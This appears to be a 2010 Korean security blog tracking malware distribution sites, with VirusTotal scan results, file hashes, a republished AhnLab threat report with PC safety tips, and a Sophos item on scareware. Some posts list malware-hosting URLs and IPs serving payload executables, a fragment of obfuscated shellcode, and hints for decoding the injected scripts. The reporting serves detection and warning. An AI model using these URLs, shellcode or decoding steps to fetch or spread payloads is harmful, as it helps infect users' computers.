검사 파일: isa.exe 전송 시각: 2010.07.09 05:04:22 (UTC)
안티바이러스 엔진 버전 정의 날짜 검사 결과
a-squared 5.0.0.31 2010.07.09 Trojan.Peed!IK
AhnLab-V3 2010.07.09.00 2010.07.08 Win-Trojan/Onlinegamehack.55296.G
AntiVir 8.2.4.10 2010.07.08 TR/Crypt.ZPACK.Gen
Antiy-AVL 2.0.3.7 2010.07.08 -
Authentium 5.2.0.5 2010.07.09 -
Avast 4.8.1351.0 2010.07.08 Win32:Malware-gen
Avast5 5.0.332.0 2010.07.08 Win32:Malware-gen
AVG 9.0.0.836 2010.07.08 PSW.Generic8.DOZ
BitDefender 7.2 2010.07.09 Trojan.Generic.KD.18284
CAT-QuickHeal 11.00 2010.07.09 (Suspicious) - DNAScan
ClamAV 0.96.0.3-git 2010.07.08 Trojan.Agent-164869
Comodo 5368 2010.07.09 -
DrWeb 5.0.2.03300 2010.07.09 -
eSafe 7.0.17.0 2010.07.08 Win32.TRCrypt.ZPACK
eTrust-Vet 36.1.7693 2010.07.08 -
F-Prot 4.6.1.107 2010.07.08 -
F-Secure 9.0.15370.0 2010.07.09 Trojan.Generic.KD.18284
Fortinet 4.1.133.0 2010.07.08 -
GData 21 2010.07.09 Trojan.Generic.KD.18284
Ikarus T3.1.1.84.0 2010.07.09 Trojan.Peed
Jiangmin 13.0.900 2010.07.08 Trojan/PSW.Magania.anlt
Kaspersky 7.0.0.125 2010.07.09 -
McAfee 5.400.0.1158 2010.07.09 PWS-Mmorpg!pq
McAfee-GW-Edition 2010.1 2010.07.05 Heuristic.LooksLike.Trojan.Crypt.ZPACK.B
Microsoft 1.5902 2010.07.08 PWS:Win32/Magania.gen
NOD32 5263 2010.07.08 -
Norman 6.05.11 2010.07.08 W32/Suspicious_Gen2.BHOYR
nProtect 2010-07-08.01 2010.07.08 Trojan/W32.Agent.55296.IL
Panda 10.0.2.7 2010.07.08 Trj/CI.A
PCTools 7.0.3.5 2010.07.09 -
Prevx 3.0 2010.07.09 High Risk Cloaked Malware
Rising 22.55.04.01 2010.07.09 Trojan.Win32.Generic.521B263B
Sophos 4.54.0 2010.07.09 Sus/UnkPack-C
Sunbelt 6562 2010.07.09 Trojan.Win32.Generic!BT
Symantec 20101.1.0.89 2010.07.09 -
TheHacker 6.5.2.1.311 2010.07.08 -
TrendMicro 9.120.0.1004 2010.07.09 PAK_Generic.001
TrendMicro-HouseCall 9.120.0.1004 2010.07.09 -
VBA32 3.12.12.6 2010.07.08 Malware-Dropper.Win32.Inject.gen
ViRobot 2010.6.29.3912 2010.07.09 Trojan.Win32.PSWMagania.55296.K
VirusBuster 5.0.27.0 2010.07.08 -
 
추가 정보
File size: 55296 bytes
MD5...: a4bd25915a827fe01c44926cc44273fe
SHA1..: 0748e6f3d2a27a5b852737bd40a86d9dcdce06c3
SHA256: d030b52bafbe52bb6e2527e94a325b1e3c996e17eab2789c601179bdb5e9c9ea


[이전글]

[security/악성코드 유포] - http://cpm2.XX66.org:88/Xo/Xi05.htm : JS:CVE-2010-0806-AK
[security/악성코드 유포] - http://gft54577.3xx2.org:6677/x/index.html 변조!!
posted by Kwan's 2010.07.08 13:39
요즘 중국 사이트에서 악성코드가 삽입되는 사이트를 하루에 하나씩 보는거 같다. 오늘도 메일을 받던중 악성코드 사이트로 연결되는 사이트를 발견하였다. 이번에도 코드 자체가 평소와 같아서 사이트에서 최종파일 칮기란 매우 쉬웠다. 최종파일의 역활은 아직까지 하는것은 모르겠지만 안랩에서는 ASD로 때려 잡았다 !

코드의 앞부분과 뒷부분은 어제와 마찬가지로 '+' 만 빼고 한다면 쉽게 최종파일까지 근접할수 있을것이다.

%u5858%u5858%u10EB%u4B5B%uC'+'933%uB96'+'6%u03B8%u34'+'80%uBD0B%uFA'+'E2%u05E'+'B%uEBE8 (중략) %uc9c9%u87cd%u9292%ucece%u93ce%ud8ce%u84ce%uce84%ude93%u87d3%u8585%uc592%u9388%uc5d8%ubdd8%ubdbd%uEAEA%uEAEA%uEAEA%uEAEA 이런식으로 나와 있다.

이걸 해석 하여야만 최종 파일인 http://sXs.sXs99X.cn:88/x5.exe 파일을 다운 받을수 있다 !!

[바이러스 토탈]

검사 파일: xi05.htm 전송 시각: 2010.07.08 04:34:52 (UTC)
안티바이러스 엔진 버전 정의 날짜 검사 결과
a-squared 5.0.0.31 2010.07.08 Exploit.JS.ShellCode!IK
AhnLab-V3 2010.07.08.00 2010.07.07 -
AntiVir 8.2.4.10 2010.07.07 HTML/Shellcode.Gen
Antiy-AVL 2.0.3.7 2010.07.08 -
Authentium 5.2.0.5 2010.07.08 JS/Cosmu.A
Avast 4.8.1351.0 2010.07.07 JS:CVE-2010-0806-AK
Avast5 5.0.332.0 2010.07.07 JS:CVE-2010-0806-AK
AVG 9.0.0.836 2010.07.08 Exploit.Aurora
BitDefender 7.2 2010.07.08 -
CAT-QuickHeal 11.00 2010.07.08 -
ClamAV 0.96.0.3-git 2010.07.08 -
Comodo 5354 2010.07.08 -
DrWeb 5.0.2.03300 2010.07.08 -
eSafe 7.0.17.0 2010.07.07 JS.ShellCode.Aurora
eTrust-Vet 36.1.7691 2010.07.07 JS/CVE-2008-0015!exploit
F-Prot 4.6.1.107 2010.07.07 JS/Cosmu.A
F-Secure 9.0.15370.0 2010.07.08 -
Fortinet 4.1.133.0 2010.07.07 -
GData 21 2010.07.08 JS:CVE-2010-0806-AK
Ikarus T3.1.1.84.0 2010.07.08 Exploit.JS.ShellCode
Jiangmin 13.0.900 2010.07.07 -
Kaspersky 7.0.0.125 2010.07.08 Exploit.JS.Agent.bab
McAfee 5.400.0.1158 2010.07.08 -
McAfee-GW-Edition 2010.1 2010.07.05 Heuristic.BehavesLike.JS.Suspicious.A
Microsoft 1.5902 2010.07.08 Exploit:JS/ShellCode.Z
NOD32 5260 2010.07.07 JS/Exploit.CVE-2010-0806.A
Norman 6.05.11 2010.07.07 HTML/Agent.BG
nProtect 2010-07-07.02 2010.07.07 -
Panda 10.0.2.7 2010.07.07 -
PCTools 7.0.3.5 2010.07.07 Downloader.Generic
Prevx 3.0 2010.07.08 -
Rising 22.55.02.04 2010.07.07 Hack.Exploit.Script.JS.Agent.ju
Sophos 4.54.0 2010.07.08 -
Sunbelt 6557 2010.07.07 -
Symantec 20101.1.0.89 2010.07.08 Downloader
TheHacker 6.5.2.1.309 2010.07.07 -
TrendMicro 9.120.0.1004 2010.07.08 -
TrendMicro-HouseCall 9.120.0.1004 2010.07.08 Expl_ShellCodeSM
VBA32 3.12.12.6 2010.07.07 -
ViRobot 2010.6.29.3912 2010.07.08 -
VirusBuster 5.0.27.0 2010.07.07 -
 
추가 정보
File size: 4134 bytes
MD5...: e5eb7e0a754c1316b7ee897caba4d391
SHA1..: 1b73e8fb7310665613b6ce913ab5afb60bf5e983
SHA256: ed4989eda720d6fef0536965de85aa27498773f7c3f5827f13583c64e987c868
검사 파일: x5.exe 전송 시각: 2010.07.08 04:34:50 (UTC)
안티바이러스 엔진 버전 정의 날짜 검사 결과
a-squared 5.0.0.31 2010.07.08 Trojan-Downloader.Win32.Geral!IK
AhnLab-V3 2010.07.08.00 2010.07.07 Packed/Upack
AntiVir 8.2.4.10 2010.07.07 TR/Crypt.XDR.Gen
Antiy-AVL 2.0.3.7 2010.07.08 -
Authentium 5.2.0.5 2010.07.08 W32/Virut.AI!Generic
Avast 4.8.1351.0 2010.07.07 Win32:Driller
Avast5 5.0.332.0 2010.07.07 Win32:Driller
AVG 9.0.0.836 2010.07.08 -
BitDefender 7.2 2010.07.08 Gen:Trojan.Heur.ciGeI11CMZh
CAT-QuickHeal 11.00 2010.07.08 (Suspicious) - DNAScan
ClamAV 0.96.0.3-git 2010.07.08 -
Comodo 5354 2010.07.08 Heur.Packed.Unknown
DrWeb 5.0.2.03300 2010.07.08 Trojan.NtRootKit.9259
eSafe 7.0.17.0 2010.07.07 -
eTrust-Vet 36.1.7691 2010.07.07 -
F-Prot 4.6.1.107 2010.07.07 W32/Virut.AI!Generic
F-Secure 9.0.15370.0 2010.07.08 Gen:Trojan.Heur.ciGeI11CMZh
Fortinet 4.1.133.0 2010.07.07 -
GData 21 2010.07.08 Gen:Trojan.Heur.ciGeI11CMZh
Ikarus T3.1.1.84.0 2010.07.08 Trojan-Downloader.Win32.Geral
Jiangmin 13.0.900 2010.07.07 TrojanDownloader.Geral.byt
Kaspersky 7.0.0.125 2010.07.08 Trojan-Downloader.Win32.Geral.vng
McAfee 5.400.0.1158 2010.07.08 Artemis!3D42ECA5339A
McAfee-GW-Edition 2010.1 2010.07.05 Heuristic.BehavesLike.Win32.Packed.A
Microsoft 1.5902 2010.07.08 TrojanDownloader:Win32/Dogrobot.D
NOD32 5260 2010.07.07 a variant of Win32/AntiAV.NGR
Norman 6.05.11 2010.07.07 W32/Suspicious_U.gen
nProtect 2010-07-07.02 2010.07.07 -
Panda 10.0.2.7 2010.07.07 W32/Spamta.gen.worm
PCTools 7.0.3.5 2010.07.07 -
Prevx 3.0 2010.07.08 -
Rising 22.55.02.04 2010.07.07 Trojan.Win32.Generic.521C8921
Sophos 4.54.0 2010.07.08 Mal/EncPk-BW
Sunbelt 6557 2010.07.07 Trojan.Win32.Generic!BT
Symantec 20101.1.0.89 2010.07.08 Suspicious.Cloud
TheHacker 6.5.2.1.309 2010.07.07 W32/Behav-Heuristic-060
TrendMicro 9.120.0.1004 2010.07.08 Cryp_Xed-12
TrendMicro-HouseCall 9.120.0.1004 2010.07.08 Cryp_Xed-12
VBA32 3.12.12.6 2010.07.07 -
ViRobot 2010.6.29.3912 2010.07.08 -
VirusBuster 5.0.27.0 2010.07.07 -
 
추가 정보
File size: 39848 bytes
MD5...: 3d42eca5339a073c9e731cb18260407b
SHA1..: 862f330a2299b7472376e990b7ef7f5cad46eaa1
SHA256: 6932cc1719b7c871feda078417349b39514a680dabe8409ddf59f07bac2e135c



신고 : 이스트 소프트 , 안철수 연구소

[ 이전글 ]

2010/07/07 - [security/악성코드 유포] - http://gft54577.3xx2.org:6677/x/index.html 변조!!

2010/07/05 - [security/악성코드 유포] - 지난주 종합 유포지 5곳 !!

posted by Kwan's 2010.05.17 11:51

글로벌 통합보안 기업인 안철수연구소[대표 김홍선 www.ahnlab.com]가 최근 ‘ASEC[시큐리티대응센터] 리포트에서 발표한 최신 보안 이슈 동향에 따르면, 사용자의 재산과 금전을 노리는 악성코드 감염 4월 보고건수는 3월 악성코드 감염 보고건수 757만 여건에 비해 약 26% 증가한 1,030만 여건으로 나타났다. 특히 월드컵 등을 앞두고 사회적으로 이슈가 되고 있는 사안을 이용해 다양한 악성코드 유포 시도가 증가할 것으로 예상되어 사용자들의 주의가 요망된다.

 

특히, 오는 6월 개최되는 2010 남아공 월드컵 관련 내용의 메일로 위장해 어도비 아크로벳 리더의 특정 이미지[TIFF] 파싱[Parsing, 구문분석] 관련 취약점 악용하는 악성코드 유포 사례가 해외에서 보고 됐다. 악의적인 PDF 는 기존에 알려진 CVE-2010-0188 취약점을 가지고 있다. 메일로 전송되었던 해당 악성코드는 취약한 어도비 아크로벳 리더에서 읽혀진 경우 TIFF 파일에 대한 잘못된 파싱과 이를 통하여 쉘코드[취약점을 이용해 특정 코드를 실행하게 할 때 사용되는 코드] 가 실행 되며, 이후 특정 폴더에 악성코드 파일을 생성하고 정보의 유출을 시도한다. 최근에 연이은 PDF 보안 문제가 불거지고 있는 만큼 해당 응용 프로그램 사용자는 반드시 보안 업데이트를 해야한다.

 

또한, 안철수연구소를 비롯한 유명 보안업체에서는 올 한해 증가할 보안 위협으로, 인기검색어를악용하는 블랙햇 SEO[블랙햇 검색엔진 최적화, Blackhat Search Engine Optimization] 기법을 이용한 악성코드 유포 및 온라인 사기를 꼽고 있다. 사이버 범죄자들은 악성코드 유포지나 온라인 사기를 벌일 수 있는 웹 사이트를 제작한 후 검색 사이트에서 사용자가 히트율이 높은 단어나 주제에 대하여 검색했을 때 자신이 제작해둔 사이트를 상위로 노출시켜 악성코드를 유포하도록 하거나 온라인 신용카드 사기를 유도한다. 주로 해외에서 자주 보고되었고 마이클잭슨, 김연아 동영상을 가장한 웹 사이트들이 블랙햇 SEO 기법을 통하여 알려진 사례가 있었다. 사용자들은 공식적이거나 신뢰할만한 웹 사이트를 방문하고, 안철수연구소의 무료 웹 보안서비스인 사이트가드[http://www.siteguard.co.kr/] 등을 이용해 안전한 웹 서핑을 하는 것도 도움이 된다.

 

이 외에도 얼마 전 국내에서 최초로 발견된 윈도우 모바일 계열 [5.0, 6.1, 6.5버전] 에서 임의로 특정 전화번호의 국제전화를 무단으로 발신하는 스마트폰 악성코드인 트레드다이얼[WinCE/TredDial.a, 일명 3D Antiterrorist]이메일 계정의 도메인 이름을 제목으로 하여 클릭을 유도하는 스팸메일을 통한 악성코드 유포, ▲국내 포털 업체가 제공하는 BGM 플레이어와 CafeOn으로 위장한 키로거를 설치하는 액티브X, ▲끊임 없는 가짜 백신 등이 주요 이슈[보충자료참고]로 꼽혔다.

 

안철수연구소 조시행 상무는 "최근 월드컵 등의 세계적인 행사를 앞두고 이를 이용하는 악성코드 유포 시도가 보고되었고 이러한 기법은 앞으로도 계속 증가할 것으로 예상된다. 또한, 일반적인 소프트웨어의 취약점을 노리는 악성코드와 결합하는 등 지능화되고 있으며 이외에도 가짜 백신, 사용자 모르게 정보를 탈취하는 트로이목마 등 다양한 보안 위협이 갈수록 증가할 것이다. 사용자는 신뢰할 수 있는 보안 수칙[보충자료 참고]을 잘 지키는 것이 중요하다.”라고 강조했다. <Ahn>

 

<보충자료>

▲ Windows Mobile 계열에서 동작하는 악성코드 국내발견

국내에서 윈도우 모바일 계열 [5.0, 6.1, 6.5버전] 에서 동작하는 스마트폰 악성코드인 WinCE/TredDial.a [일명 3D Antiterrorist]가 발견, 보고 되었다. 해당 악성코드는 게임 어플리케이션에 포함 되어 발견 되었다. 해당 악성코드의 실행 후 증상은 임의로 특정 전화번호의 국제전화를 무단으로 발신 하도록 되어 있었다. 이 경우 사용자에게 원치 않는 통신비가 과금 되는 상황이 발생 된다.

 

▲ 스팸 메일을 통한 악성코드 유포

최근 이메일 계정의 도메인 이름을 제목으로 하여 클릭을 유도하는 스팸메일이 유포되고 있다. 예를 들어 사용하는 이메일 계정이 AAA@ahnlab.com 이라면 메일 제목은 "ahnlab.com account notification" 으로 스팸 메일이 들어온다. 해당 메일에는 첨부파일이 포함되어 있거나 혹은 URL 링크가 포함되어 있다. 이러한 메일에 첨부된 파일이나 URL 링크를 통해 받는 파일은 악성코드이므로 실행하지 않도록 주의해야 한다.

 

▲ ActiveX를 통해 전파되는 악성코드

최근 국내 포털 업체의 BGM 플레이어와 CafeOn으로 위장하여 키보드의 입력 값을 훔치는 키로거[Keylogger]를 설치하는 악성 ActiveX가 발견되었다. 이번에 발견된 악성코드의 특징은 기존 악성코드들과는 다르게 파일에 대한 디지털 서명까지 포함되어 있었다는 점이다. 신뢰되지 않은 사이트에서 ActiveX 설치를 요구한다면 주의를 해야 한다.

 

▲ 끊임 없는 가짜 백신

최근 가짜 백신은 과거와 달리 보안 취약점, 다른 애드웨어의 번들 또는 업데이트 프로그램을 사용, 웹 하드와 같은 인터넷 서비스의 제휴 프로그램으로 설치하는 사례가 부쩍 늘어나고 있다. 이렇게 설치된 가짜 백신의 경우 사용자 컴퓨터를 정상적으로 사용할 수 없도록 파일의 실행을 차단하거나, 바탕화면을 변경시켜 사용자의 불안감을 조성하고 허위 또는 과장된 진단 결과를 지속적으로 노출시켜 사용자의 유료 결제를 유도한다. 이러한 피해를 막기 위해서는 새로운 프로그램을 설치하거나 서비스를 사용할 경우 무조건 ""를 눌러 진행하지 말고 추가로 설치되는 프로그램이 있는지 잘 살펴 보아야 하며 해당 프로그램이나 서비스가 나에게 정말 필요한 것인가를 다시 한번 살펴보고 진행하는 것이 중요하다.

 

* PC 보안 10계명

 

1. 윈도 운영체계는 최신 보안 패치를 모두 적용한다. 

 

2. 인터넷 로그인 계정의 패스워드를 자주 변경하고, 영문/숫자/특수문자 조합으로 6자리 이상으로 설정한다. 로그인 ID와 패스워드를 동일하게 설정하지 않는다. 

 

3. 해킹, 바이러스, 스파이웨어 등을 종합적으로 막아주는 무료백신 ‘V3 Lite[www.V3Lite.com]’나 유료 토털 PC 케어 서비스 ‘V3 365 클리닉’ 등을 하나 정도는 설치해둔다. 설치 후 항상 최신 버전의 엔진으로 유지하고 부팅 후 보안 제품이 자동 업데이트되도록 하고 시스템 감시 기능이 항상 작동하도록 설정한다.

 

4. 웹사이트에 접속했을 때 악성코드나 스파이웨어가 다운로드되는 경우가 있으니 안철수연구소가 무료로 제공하는 ‘사이트가드’[www.siteguard.co.kr] 서비스를 이용해 예방한다.

 

5. 웹 서핑 때 보안경고 창이 뜰 경우에는 신뢰할 수 있는 기관의 서명이 있는 경우에만 프로그램 설치에 동의하는 를 클릭한다. 잘 모르는 프로그램을 설치하겠다는 경고가 나오면 ‘예’ ‘아니오’ 중 어느 것도 선택하지 말고 창을 닫는다.

 

6. 이메일 확인 시 발신인이 불분명하거나 수상한 첨부 파일이 있는 것은 모두 삭제한다.

 

7. 메신저 프로그램 사용 시 메시지를 통해 URL이나 파일이 첨부되어 올 경우 함부로 클릭하거나 실행하지 않는다. 메시지를 보낸 이가 직접 보낸 것이 맞는지를 먼저 확인해본다.

 

8. P2P 프로그램 사용 시 파일을 다운로드할 때는 반드시 보안 제품으로 검사한 후 사용한다. 또한 트로이목마 등에 의해 지정하지 않은 폴더가 오픈되지 않도록 주의한다.

 

9. 정품 소프트웨어를 사용한다. 인터넷을 통해 불법 소프트웨어를 다운로드해 설치하는 경우 이를 통해 악성코드가 설치될 가능성이 높기 때문이다.

 

10. 중요한 자료를 주기적으로 백업해 만일의 상황에 정보를 잃는 일에 대비한다.
posted by Kwan's 2010.05.14 09:05

맥아피(McAfee) 오진(false positive) 문제를 악용하는 스케어웨어 해커들

해커들이 전세계 수많은 컴퓨터들을 스스로 반복적으로 재부팅하게 하는 맥아피(McAfee) 안티바이러스 제품과 관련된 문제를 악용하고 있습니다.

뉴욕 타임즈와 기타 많은 뉴스 매체들은 4월21일, 맥아피 안티바이러스 제품이 검진 업데이트(detection update)를 한 이후에 정상적인 Windows 파일인 svxhost.exe 파일을 “W32/Wecorl.a”로 잘못 인식하여 컴퓨터가 제대로 실행되지 못하게 만드는 문제를 일으켜 피해를 끼치고 있는 것에 대해 보도하였습니다.

칭찬할 만한 것은, 온라인 커뮤니티에서 그 문제에 대해 토론한 맥아피가 고객들에게 사과를 하고, 잘못된 업데이트를 중지하고, 감염된 컴퓨터를 수동으로 어떻게 치료하는지 충고를 하였다는 것입니다.

하지만 맥아피가 오진 문제에 대한 믿을만한 정보를 제공하려고 하는 일을 더욱 더 엉망으로 만드는 것은 악의적인 해커들이 그 상황을 악용하고 있다는 것입니다.

사이버범죄자들은 블랙햇 SEO(Search Engine Optimization) 기술을 사용함으로써 여러분이 맥아피 오진에 대한 정보를 찾을 경우 해로운 웹페이지들을 높은 검색 순위에 오르도록 하고 있습니다.

그래서 만약 여러분이 이와 같은 위험한 링크를 클릭한다면, 여러분은 여러분의 신용카드 정보로사기를 치거나 여러분 컴퓨터에 악성 코드를 설치하려고 하는 허위 안티 바이러스 공격에 의해 감염될 가능성이 있음을 감수해야 합니다.

소포스는 이런 류의 악성코드를 Mal/FakeAV-BW 로 사전에 감지합니다.

그리고, 이러한 해커들이 악용하고 있는 것이 맥아피의 오진 경고 문제만은 아닙니다. 감염된 도메인을 좀 더 자세히 조사해 보면, 우리는 이 해커들이 다양한 범위의 주제에 관해 만들어 놓은 수 많은 웹 페이지 링크들을 볼 수 있습니다.

여러분 조심하세요..


원문 : http://www.securitytrust.co.kr/bbs/view.asp?tName=tb_sophosnews&RecID=6700
posted by Kwan's 2010.05.13 18:36

내가 발견한 시각은 오늘 아침 9시경이었다. 예전에도 유포했다 월요일에 없어졌던 서버였지만 오늘 다시 보니 time out 위장되어 있는 사이트였다. 프루나라는 메인 페이지에서는 이 링크를 볼수없다. 여담이지만 이렇게 프루나에 꼭꼭 숨겨놓아서 어떤 사용자를 감염 시킨다는지 이해가 가지 않았다.
사진과 같이 프루나 메인페이지에서는 젼혀 search_list3.asp 가 보이지 않으므로 정상 접속에는 이상이 없다.


이 접속 경로는 http://vxd.prxxa.com/search/search_list3.asp 이쪽으로 되어있으며 이것 또한 익스플로러로 접속시 time out 이라는 문구만 보일뿐 세부 코드는 보이지 않는다!
하지만 도구를 통해서 본다면 세부 코드가 나오는 것으로 볼수있다.
이것 또한 처음에는 제대로 변환 할수 없다 .. 이사이트에 소스중 window.document.write(x); ~> window.alert(x); 로 바꾼다면 제대로 디코더가 된 코드를 볼수있다. 이 코드를 변환한다면 비로서 최종파일이 보인다.
디코더 결과 이 프루나 search_list3.asp는 
최종파일 :  http://file.ygfamily.com/php/i./c.exe0  연결 되는것을 볼수있다.
그동안 코드와는 달리 ygfamily 로 연결이 되고 있었다.
현재 이 악성코드들은 전부 V3 에서 잡을수 있으며 모두 업데이트가 완료가 되었다.
또한 악성코드들은 이스트 소프트 와 안철수연구소로 신고하였다.


정리를 하자면
http://vod.pxxna.com/search/search_list3.asp0 에서 유포중이며
최종파일 : http://file.xxfamily.com/php/i./c.exe0 받는다.

[안철수연구소]
1 search_list3.0sp ~> V3 : JS/Downloader(추가 : 2010.05.13.03)
2 c.exe ~> V3 : Win-Trojan/Injector.53248.Z(추가 : 2010.05.12.00)

[이스트 소프트] = 알약
오늘 DB 에서 업데이트!

검사 파일: search_list3.0sp 전송 시각: 2010.05.13 00:12:59 (UTC)
안티바이러스 엔진 버전 정의 날짜 검사 결과
a-squared 4.5.0.50 2010.05.10 -
AhnLab-V3 2010.05.13.00 2010.05.12 -
AntiVir 8.2.1.242 2010.05.12 JS/Drop.A.5851
Antiy-AVL 2.0.3.7 2010.05.12 -
Authentium 5.2.0.5 2010.05.13 -
Avast 4.8.1351.0 2010.05.12 JS:Downloader-QJ
Avast5 5.0.332.0 2010.05.12 JS:Downloader-QJ
AVG 9.0.0.787 2010.05.13 Script/Exploit
BitDefender 7.2 2010.05.13 -
CAT-QuickHeal 10.00 2010.05.12 -
ClamAV 0.96.0.3-git 2010.05.12 -
Comodo 4829 2010.05.12 -
DrWeb 5.0.2.03300 2010.05.13 -
eSafe 7.0.17.0 2010.05.11 -
eTrust-Vet None 2010.05.12 -
F-Prot 4.5.1.85 2010.05.12 JS/Crypted.GA.gen
F-Secure 9.0.15370.0 2010.05.13 -
Fortinet 4.1.133.0 2010.05.12 -
GData 21 2010.05.13 JS:Downloader-QJ
Ikarus T3.1.1.84.0 2010.05.12 -
Jiangmin 13.0.900 2010.05.12 -
Kaspersky 7.0.0.125 2010.05.13 Trojan-Downloader.JS.Agent.fhk
McAfee 5.400.0.1158 2010.05.13 -
McAfee-GW-Edition 2010.1 2010.05.13 Heuristic.BehavesLike.JS.Exploit.A
Microsoft 1.5703 2010.05.12 -
NOD32 5110 2010.05.12 -
Norman 6.04.12 2010.05.12 -
nProtect 2010-05-12.01 2010.05.12 -
Panda 10.0.2.7 2010.05.12 -
PCTools 7.0.3.5 2010.05.12 -
Rising 22.47.02.04 2010.05.12 Trojan.DL.Script.JS.Agent.qx
Sophos 4.53.0 2010.05.13 -
Sunbelt 6296 2010.05.13 -
Symantec 20101.1.0.89 2010.05.13 -
TheHacker 6.5.2.0.279 2010.05.11 -
TrendMicro 9.120.0.1004 2010.05.12 -
TrendMicro-HouseCall 9.120.0.1004 2010.05.13 -
VBA32 3.12.12.4 2010.05.12 -
ViRobot 2010.5.12.2312 2010.05.12 -
VirusBuster 5.0.27.0 2010.05.12 -
 
추가 정보
File size: 5777 bytes
MD5   : a485b05d5035a168bb7fc3fd38220500
SHA1  : 3685084e053db302445caae2bfd63762ebf3b97b
SHA256: 58c9bbeb8f83242d054b71c3863fe87aba222142409d3b6f5f19e3705ca67bc4
검사 파일: c.0xe 전송 시각: 2010.05.13 00:13:04 (UTC)
안티바이러스 엔진 버전 정의 날짜 검사 결과
a-squared 4.5.0.50 2010.05.10 Trojan.Peed!IK
AhnLab-V3 2010.05.13.00 2010.05.12 Win-Trojan/Injector.53248.Z
AntiVir 8.2.1.242 2010.05.12 TR/Crypt.ZPACK.Gen
Antiy-AVL 2.0.3.7 2010.05.12 Trojan/Win32.Pincav.gen
Authentium 5.2.0.5 2010.05.13 -
Avast 4.8.1351.0 2010.05.12 Win32:Malware-gen
Avast5 5.0.332.0 2010.05.12 Win32:Malware-gen
AVG 9.0.0.787 2010.05.13 -
BitDefender 7.2 2010.05.13 Trojan.Peed.Gen
CAT-QuickHeal 10.00 2010.05.12 (Suspicious) - DNAScan
ClamAV 0.96.0.3-git 2010.05.12 -
Comodo 4829 2010.05.12 TrojWare.Win32.Trojan.Agent.Gen
DrWeb 5.0.2.03300 2010.05.13 -
eSafe 7.0.17.0 2010.05.11 -
eTrust-Vet 35.2.7484 2010.05.12 -
F-Prot 4.5.1.85 2010.05.12 -
F-Secure 9.0.15370.0 2010.05.13 Trojan.Peed.Gen
Fortinet 4.1.133.0 2010.05.12 -
GData 21 2010.05.13 Trojan.Peed.Gen
Ikarus T3.1.1.84.0 2010.05.12 Trojan.Peed
Jiangmin 13.0.900 2010.05.12 -
Kaspersky 7.0.0.125 2010.05.13 Trojan.Win32.Pincav.zrz
McAfee 5.400.0.1158 2010.05.13 Generic.dx!sra
McAfee-GW-Edition 2010.1 2010.05.13 Heuristic.LooksLike.Heuristic.BehavesLike.Win32.Downloader.B
Microsoft 1.5703 2010.05.12 Trojan:Win32/Malagent
NOD32 5110 2010.05.12 a variant of Win32/Kryptik.DXI
Norman 6.04.12 2010.05.12 -
nProtect 2010-05-12.01 2010.05.12 Trojan.Peed.Gen
Panda 10.0.2.7 2010.05.12 Generic Trojan
PCTools 7.0.3.5 2010.05.12 -
Prevx 3.0 2010.05.13 High Risk Cloaked Malware
Rising 22.47.02.04 2010.05.12 Packer.Win32.UnkPacker.b
Sophos 4.53.0 2010.05.13 Sus/UnkPack-C
Sunbelt 6296 2010.05.13 Trojan.Win32.Generic!BT
Symantec 20101.1.0.89 2010.05.13 -
TheHacker 6.5.2.0.279 2010.05.11 Trojan/Pincav.zrz
TrendMicro 9.120.0.1004 2010.05.12 PAK_Generic.001
TrendMicro-HouseCall 9.120.0.1004 2010.05.13 -
VBA32 3.12.12.4 2010.05.12 Malware-Dropper.Win32.Inject.gen
ViRobot 2010.5.12.2312 2010.05.12 -
VirusBuster 5.0.27.0 2010.05.12 -
 
추가 정보
File size: 53248 bytes
MD5   : 7dc283909f9af5493de63aae1453a807
SHA1  : 0b9d820a6563bce957c04f60545b467c1d029d3f
SHA256: c3c7dc6df3a5b802d71834046b6f87e655bb29cf9030f879f8375c9e65363e7e
posted by Kwan's 2010.05.12 18:20
3주전 발견했던 CJ 엔터 테인먼트가 현재 까지도 악성코드를 가지고 있어서 이렇게 글을 올린다.
프로그램으로 본 결과 악성 코드인 lib.asp 를 삽입되어 있는 모습을 이와 같이 볼수있다.



JS 파일 안에 lib.asp 라는 파일을 확인을 할 수가 있을것이다. 이것은 역시 익스플로러로 들어갈시에 time out 이라는 문구를 보내며 위장하고 있는 사실을 볼 수 가 있다.
이 파일을 다시 복호화 과청을 걸친다면 최종 파일인 exe 가 볼수있다.
이글을 쓰는 지금 이시각도 유포중에 있으며 이 사이트를 매우 조심해야 할 필요가있다.

현재 최종파일도 받는 서버가 살아 있으므로 이 곳을 매우 조심해야한다.

lib.asp : http://61.100.7.171/cxx/lib.asp0
최종파일 : http://61.100.1.93/cxx/isa.exe0

현재도 다운을 받을 수 있으며 마지막으로 이 사이트에 대해서는 조심하자!

검사 파일: lib.asp 전송 시각: 2010.05.10 00:38:59 (UTC)
안티바이러스 엔진 버전 정의 날짜 검사 결과
a-squared 4.5.0.50 2010.05.09 Virus.JS.Downloader.QJ!IK
AhnLab-V3 2010.05.09.00 2010.05.08 JS/Downloader
AntiVir 8.2.1.236 2010.05.09 JS/Drop.A.5851
Antiy-AVL 2.0.3.7 2010.05.07 -
Authentium 5.2.0.5 2010.05.09 -
Avast 4.8.1351.0 2010.05.09 JS:Downloader-QJ
Avast5 5.0.332.0 2010.05.09 JS:Downloader-QJ
AVG 9.0.0.787 2010.05.09 Script/Exploit
BitDefender 7.2 2010.05.10 Trojan.Script.407264
CAT-QuickHeal 10.00 2010.05.08 -
ClamAV 0.96.0.3-git 2010.05.09 -
Comodo 4800 2010.05.09 -
DrWeb 5.0.2.03300 2010.05.10 -
eSafe 7.0.17.0 2010.05.09 -
eTrust-Vet None 2010.05.07 -
F-Prot 4.5.1.85 2010.05.09 JS/Crypted.GA.gen
F-Secure 9.0.15370.0 2010.05.10 Trojan.Script.407264
Fortinet 4.1.133.0 2010.05.09 -
GData 21 2010.05.10 Trojan.Script.407264
Ikarus T3.1.1.84.0 2010.05.09 Virus.JS.Downloader.QJ
Jiangmin 13.0.900 2010.05.09 -
Kaspersky 7.0.0.125 2010.05.09 Trojan-Downloader.JS.Agent.fhk
McAfee 5.400.0.1158 2010.05.09 -
McAfee-GW-Edition 2010.1 2010.05.09 Heuristic.BehavesLike.JS.Exploit.A
Microsoft 1.5703 2010.05.09 -
NOD32 5099 2010.05.10 -
Norman 6.04.12 2010.05.09 -
nProtect 2010-05-09.01 2010.05.09 Trojan.Script.407264
Panda 10.0.2.7 2010.05.09 -
PCTools 7.0.3.5 2010.05.07 -
Prevx 3.0 2010.05.10 -
Rising 22.46.06.04 2010.05.09 Trojan.DL.Script.JS.Agent.qx
Sophos 4.53.0 2010.05.09 JS/Agent-MZX
Sunbelt 6283 2010.05.10 -
Symantec 20091.2.0.41 2010.05.10 -
